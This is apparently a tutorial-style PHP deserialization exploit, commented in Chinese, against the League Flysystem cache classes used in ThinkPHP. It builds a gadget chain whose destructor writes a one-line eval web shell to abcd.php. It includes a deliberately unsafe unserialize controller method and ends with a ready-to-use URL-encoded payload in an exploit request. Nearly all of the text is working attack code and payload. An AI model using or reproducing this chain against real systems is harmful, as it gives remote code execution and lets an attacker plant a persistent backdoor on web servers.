//入口点位置：
namespace League\Flysystem\Cached\Storage
{
abstract class AbstractCache
{
//属性值为false，才可以调用该save方法
protected $autosave = false;
// 一句话代码，也是最后写入文件的内容
protected $cache = ['<?php eval($_POST[\''.'yyds'.'\']);?>'];
protected $complete = [];
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
'md5',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function __destruct()
{
//autoSave参数为false
if (! $this->autosave) {
$this->save();
}
}
}
use League\Flysystem\AdapterInterface;
use League\Flysystem\Config;
class Adapter extends AbstractCache
{
//适配器，也就是我们要利用write方法的类
protected $adapter;
protected $expire = null;
//文件名，写入文件的文件名
protected $file = 'abcd.php';
public function __construct($local)
{
//方便生成的属性为local类对象，所以直接写到构造方法里了
$this->adapter = $local;
}
public function getForStorage()
{
//不用担心这个函数，它也没把我们的写入的内容怎么地
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete, $this->expire]);
}
public function save()
{
$config = new Config();//为了方便，这个参数可以随便写一下，
//但是如果随便写，下面的write定义的部分记得把传参约定的类型去掉（要不然php7过不了）
$contents = $this->getForStorage();
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
}
}

namespace League\Flysystem\Adapter
{
abstract class AbstractAdapter
{
protected $pathPrefix;
public function getPathPrefix()
{
return $this->pathPrefix;
}
public function applyPathPrefix($path)
{
return $this->getPathPrefix() . ltrim($path, '\\/');
}
}

class Local extends AbstractAdapter
{
protected $permissionMap;
protected $writeFlags;
public function has($path)
{
$location = $this->applyPathPrefix($path);
return file_exists($location);
}
protected function ensureDirectory($root)
{
if ( ! is_dir($root)) {
$umask = umask(0);
if ( ! @mkdir($root, $this->permissionMap[‘dir’][‘public’], true)) {
$mkdirError = error_get_last();
}
umask($umask);
clearstatcache(false, $root);
if ( ! is_dir($root)) {
$errorMessage = isset($mkdirError[‘message’]) ? $mkdirError[‘message’] : ‘’;
throw new Exception(sprintf(‘Impossible to create the root directory “%s”. %s’, $root, $errorMessage));
}
}
}
public function write($path, $contents,  $config)//这个$config的约定类型可以去掉，为了方便
{
//这个调用是没所谓，$path就是传入的文件名，不过要确保文件名是否冲突，所以，每次调用，写入文件的文件名换一下
$location = $this->applyPathPrefix($path);
$this->ensureDirectory(dirname($location));
if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
return false;
}
//省略部分，后面的代码不影响结构，所以直接删掉了
}
}
}

namespace
{
use League\Flysystem\Adapter\Local;
use League\Flysystem\Cached\Storage\Adapter;
$local = new Local();
echo urlencode(serialize((new Adapter($local))));
}

public function testuns()
{
unserialize(urldecode($_GET['yyds']));
}

http://www.tpstudy6012.com/index.php/index/testuns?yyds=O%3A39%3A%22League%5CFlysystem%5CCached%5CStorage%5CAdapter%22%3A6%3A%7Bs%3A10%3A%22%00%2A%00adapter%22%3BO%3A30%3A%22League%5CFlysystem%5CAdapter%5CLocal%22%3A3%3A%7Bs%3A16%3A%22%00%2A%00permissionMap%22%3BN%3Bs%3A13%3A%22%00%2A%00writeFlags%22%3BN%3Bs%3A13%3A%22%00%2A%00pathPrefix%22%3BN%3B%7Ds%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A8%3A%22abcd.php%22%3Bs%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A29%3A%22%3C%3Fphp+eval%28%24_POST%5B%27yyds%27%5D%29%3B%3F%3E%22%3B%7Ds%3A11%3A%22%00%2A%00complete%22%3Ba%3A0%3A%7B%7D%7D